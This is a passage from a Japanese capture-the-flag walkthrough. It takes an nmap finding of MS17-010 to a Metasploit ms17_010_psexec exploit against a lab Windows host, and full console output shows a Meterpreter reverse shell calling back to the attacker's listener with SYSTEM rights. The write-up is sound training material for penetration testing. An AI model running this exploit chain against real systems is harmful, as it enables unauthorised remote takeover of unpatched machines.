|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri May 12 01:17:36 2023 -- 1 IP address (1 host up) scanned in 15.92 seconds

以下の2つがありそうだなっていうのがわかった。

  • CVE-2008-4250
  • CVE-2017-0143

# 3. Google Search

 - Googleで2つのCVEについて調べてみた。

Easyレベルでバッファフローはあまりなさそうなのでこれじゃないと判断。

4. MetaSploit

```

msfconsole -q

msf6 > search MS17-010 msf6 > use exploit/windows/smb/ms17_010_psexec [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

- show optionsで設定を確認。

msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

Name Current Setting Required Description


DBGTRACE false yes Show extra debug trace info LEAKATTEMPTS 99 yes How many times to try to leak transaction NAMEDPIPE no A named pipe that can be connected to (leave blank for auto) NAMED_PIPES /usr/share/metasploit-framework/data/wordlis yes List of named pipes to check ts/named_pipes.txt RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/ using-metasploit.html RPORT 445 yes The Target port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/w rite folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description


EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.3.10 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port

Exploit target:

Id Name


0 Automatic

View the full module info with the info, or info -d command.

- setコマンドを使用して「RHOSTS」と「LHOST」を設定する。

msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 10.10.10.4 RHOST => 10.10.10.4 msf6 exploit(windows/smb/ms17_010_psexec) > msf6 exploit(windows/smb/ms17_010_psexec) > msf6 exploit(windows/smb/ms17_010_psexec) > msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 10.10.16.8 LHOST => 10.10.16.8




msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

Name Current Setting Required Description


DBGTRACE false yes Show extra debug trace info LEAKATTEMPTS 99 yes How many times to try to leak transaction NAMEDPIPE no A named pipe that can be connected to (leave blank for auto) NAMED_PIPES /usr/share/metasploit-framework/data/wordlis yes List of named pipes to check ts/named_pipes.txt RHOSTS 10.10.10.4 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/ using-metasploit.html RPORT 445 yes The Target port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/w rite folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description


EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.16.8 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port

Exploit target:

Id Name


0 Automatic

View the full module info with the info, or info -d command.

- エクスプロイトを実行して、権限を確認{system権限が取れているのでこれでroot/userフラグを取得して終わり)

msf6 exploit(windows/smb/ms17_010_psexec) > run

[] Started reverse TCP handler on 10.10.16.8:4444 [] 10.10.10.4:445 - Target OS: Windows 5.1 [] 10.10.10.4:445 - Filling barrel with fish... done [] 10.10.10.4:445 - <---------------- | Entering Danger Zone | ----------------> [] 10.10.10.4:445 - [] Preparing dynamite... [] 10.10.10.4:445 - [] Trying stick 1 (x86)...Boom! [] 10.10.10.4:445 - [+] Successfully Leaked Transaction! [] 10.10.10.4:445 - [+] Successfully caught Fish-in-a-barrel [] 10.10.10.4:445 - <---------------- | Leaving Danger Zone | ----------------> [] 10.10.10.4:445 - Reading from CONNECTION struct at: 0x861137d0 [] 10.10.10.4:445 - Built a write-what-where primitive... [+] 10.10.10.4:445 - Overwrite complete... SYSTEM session obtained! [] 10.10.10.4:445 - Selecting native target [] 10.10.10.4:445 - Uploading payload... jWwmzfbo.exe [] 10.10.10.4:445 - Created \jWwmzfbo.exe... [+] 10.10.10.4:445 - Service started successfully... [] Sending stage (175686 bytes) to 10.10.10.4 [] 10.10.10.4:445 - Deleting \jWwmzfbo.exe... [*] Meterpreter session 1 opened (10.10.16.8:4444 -> 10.10.10.4:1035) at 2023-05-13 02:12:07 -0400

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >